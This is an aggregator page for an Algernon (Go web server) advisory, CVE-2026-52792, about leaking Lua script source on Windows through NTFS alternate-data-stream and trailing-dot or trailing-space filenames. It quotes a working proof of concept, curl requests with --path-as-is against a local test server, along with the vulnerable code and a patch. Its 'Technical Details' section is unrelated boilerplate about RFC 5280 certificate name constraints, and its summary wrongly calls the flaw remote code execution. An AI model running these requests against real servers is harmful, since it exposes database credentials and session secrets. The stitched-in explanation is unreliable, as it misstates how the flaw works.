Vulnerabilities in pkg:golang/github.com/xyproto/algernon

PACKAGE
Advisory Identifier: GHSA-mm6c-5j6x-hq8m
Advisory Summary

CVE-2026-52792 is a HIGH remote code execution vulnerability (CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream) affecting Github.com/xyproto/algernon libraries in the Go ecosystem. The issue involves algernon vulnerable to server-side script source disclosure on windows via ntfs filename. Remediation is available by upgrading affected packages to version 1.17.9.

9 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/xyproto/algernon

9 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/xyproto/algernon. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-mm6c-5j6x-hq8m CVE-2026-52792 HIGH Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename
GHSA-jc3j-x6pg-4hmv CVE-2026-48126 HIGH Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dir
GHSA-hw27-4v2q-5qff CVE-2026-46431 MODERATE Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *
GHSA-gj84-924c-48fx CVE-2026-46430 MODERATE Algernon: Auto-refresh SSE event server binds to all interfaces by default on Linux/macOS
GHSA-9v4j-7g44-qcqw - MODERATE Algernon: Auto-refresh SSE event server binds to all interfaces with Access-Control-Allow-Origin: * and no authentication
GHSA-xwcr-wm99-g9jc CVE-2026-45721 CRITICAL Algernon: handler.lua discovery walks parent directories above the server root
GHSA-fwqx-8365-9983 CVE-2026-45728 HIGH Algernon: Single-file mode unconditionally enables debug mode
GHSA-8jqm-8qm3-qgqm CVE-2025-65754 MODERATE Algernon Cross-Site Scripting vulnerability
GHSA-g47h-fgcw-g4ph CVE-2023-26131 MODERATE Algernon engine and themes vulnerable to Cross-site Scripting

CVE-2026-52792 at a Glance

CVE Identifier CVE-2026-52792
GHSA Identifier GHSA-mm6c-5j6x-hq8m
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream
Affected Product Github.com/xyproto/algernon
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-52792

To remediate this vulnerability, upgrade all affected Github.com/xyproto/algernon dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/xyproto/algernon fixed: 1.17.9
Upgrade github.com/xyproto/algernon to 1.17.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/xyproto/algernon

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-52792, inspect your project dependencies for Github.com/xyproto/algernon:

inspect dependencies for github.com/xyproto/algernon

Analyze the terminal output to locate any version of Github.com/xyproto/algernon in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.9), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & RFC 5280 Specification

Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Github.com/xyproto/algernon failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.

Source Advisory Statement

### Summary Algernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value. Linux and macOS hosts are unaffected. ### Preconditions - Algernon runs on a Windows host (NTFS filesystem). - The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`). - The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB). - HTTP/HTTPS reachability to the server. ### Details ```go // engine/handlers.go:133 lowercaseFilename := strings.ToLower(filename) ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua" [offending] ... if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false return } switch ext { case ".lua", ".tl": // execute the script -- never reached for the equivalent forms // ... RunLua ... default: // control reaches the raw-file branch below } ``` ```go // engine/handlers.go:452 f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream ... // engine/handlers.go:479 if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil { dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client } ``` The request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch. The default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler. ### Proof of concept **Setup** 1. Build Algernon from source on a Windows host: ```powershell git clone https://github.com/xyproto/algernon cd algernon git checkout v1.17.8 go build -o algernon.exe . ``` 2. Create a web root with a script that embeds secrets, exactly as a real handler would: ```powershell New-Item -ItemType Directory webroot | Out-Null Set-Content webroot\index.lua @' -- db = POSTGRES("postgres://app:S3cr3t@db/prod") SetCookieSecret("hardcoded-session-key") print("<h1>hello</h1>") '@ ``` 3. Serve the directory over plain HTTP with no auth backend (run in its own window): ```powershell .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot ``` **Exploit** 1. Request the script normally. It executes, and the source is not disclosed: ```powershell curl.exe -s http://127.0.0.1:8088/index.lua ``` Expected: `<h1>hello</h1>`. The DSN and cookie secret are absent from the response. 2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source: ```powershell curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA' ``` Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret("hardcoded-session-key")` and the Postgres DSN. 3. The trailing-dot and trailing-space forms leak the same source: ```powershell curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.' curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20' ``` Expected: identical raw-source response for both. ### Impact - **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values. - **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user. ### Suggestions to fix > _This has not been tested - it is illustrative only._ Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch. ```diff func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) { + // Reject Windows filename-equivalent forms that alias a different file + // than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua "). + if base := filepath.Base(filename); strings.ContainsRune(base, ':') || + strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") { + http.NotFound(w, req) + return + } if ac.quitAfterFirstRequest { go ac.quitSoon("Quit after first request", defaultSoonDuration) } ```

CVE-2026-52792 Affected Github.com/xyproto/algernon Versions

1 component(s)
Fixed Versions:
1.17.9
Product / Package Ecosystem Affected Versions Fixed Version
github.com/xyproto/algernon
Go
< 1.17.9
1.17.9

References

Frequently Asked Questions

What is CVE-2026-52792?
CVE-2026-52792 is a security vulnerability in Github.com/xyproto/algernon involving Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename under CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream.
Which Github.com/xyproto/algernon versions are affected?
Affected versions include releases prior to 1.17.9 across affected packages: github.com/xyproto/algernon.
What version fixes CVE-2026-52792?
Upgrading to 1.17.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/xyproto/algernon affected?
Yes, github.com/xyproto/algernon is affected in releases prior to 1.17.9. Upgrade your dependency to 1.17.9 or later.
What CWE is associated with CVE-2026-52792?
CVE-2026-52792 is classified under CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).).
How can I check Go dependencies for CVE-2026-52792?
Run the dependency tree command: 'inspect dependencies for github.com/xyproto/algernon'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mm6c-5j6x-hq8m",
  "modified" : "2026-07-02T20:46:43Z",
  "published" : "2026-07-02T20:46:42Z",
  "aliases" : [ "CVE-2026-52792" ],
  "summary" : "Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename",
  "details" : "### Summary\n\nAlgernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value.\n\nLinux and macOS hosts are unaffected.\n\n### Preconditions\n\n- Algernon runs on a Windows host (NTFS filesystem).\n- The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`).\n- The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB).\n- HTTP/HTTPS reachability to the server.\n\n### Details\n\n```go\n// engine/handlers.go:133\nlowercaseFilename := strings.ToLower(filename)\next := filepath.Ext(lowercaseFilename) // \"index.lua::$data\" -> \".lua::$data\", not \".lua\"  [offending]\n...\nif ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false\n    return\n}\nswitch ext {\ncase \".lua\", \".tl\": // execute the script -- never reached for the equivalent forms\n    // ... RunLua ...\ndefault:\n    // control reaches the raw-file branch below\n}\n```\n\n```go\n// engine/handlers.go:452\nf, err := os.Open(filename) // NTFS resolves \"index.lua::$DATA\" to index.lua's data stream\n...\n// engine/handlers.go:479\nif dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {\n    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client\n}\n```\n\nThe request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch.\n\nThe default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.\n\n### Proof of concept\n\n**Setup**\n\n1. Build Algernon from source on a Windows host:\n\n   ```powershell\n   git clone https://github.com/xyproto/algernon\n   cd algernon\n   git checkout v1.17.8\n   go build -o algernon.exe .\n   ```\n\n2. Create a web root with a script that embeds secrets, exactly as a real handler would:\n\n   ```powershell\n   New-Item -ItemType Directory webroot | Out-Null\n   Set-Content webroot\\index.lua @'\n   -- db = POSTGRES(\"postgres://app:S3cr3t@db/prod\")\n   SetCookieSecret(\"hardcoded-session-key\")\n   print(\"<h1>hello</h1>\")\n   '@\n   ```\n\n3. Serve the directory over plain HTTP with no auth backend (run in its own window):\n\n   ```powershell\n   .\\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\\webroot\n   ```\n\n**Exploit**\n\n1. Request the script normally. It executes, and the source is not disclosed:\n\n   ```powershell\n   curl.exe -s http://127.0.0.1:8088/index.lua\n   ```\n\n   Expected: `<h1>hello</h1>`. The DSN and cookie secret are absent from the response.\n\n2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source:\n\n   ```powershell\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'\n   ```\n\n   Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret(\"hardcoded-session-key\")` and the Postgres DSN.\n\n3. The trailing-dot and trailing-space forms leak the same source:\n\n   ```powershell\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'\n   ```\n\n   Expected: identical raw-source response for both.\n\n### Impact\n\n- **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values.\n- **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.\n\n```diff\n func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {\n+\t// Reject Windows filename-equivalent forms that alias a different file\n+\t// than filepath.Ext sees (e.g. \"x.lua::$DATA\", \"x.lua.\", \"x.lua \").\n+\tif base := filepath.Base(filename); strings.ContainsRune(base, ':') ||\n+\t\tstrings.HasSuffix(base, \".\") || strings.HasSuffix(base, \" \") {\n+\t\thttp.NotFound(w, req)\n+\t\treturn\n+\t}\n \tif ac.quitAfterFirstRequest {\n \t\tgo ac.quitSoon(\"Quit after first request\", defaultSoonDuration)\n \t}\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/xyproto/algernon"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.17.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/xyproto/algernon"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-69" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T20:46:42Z",
    "nvd_published_at" : null
  }
}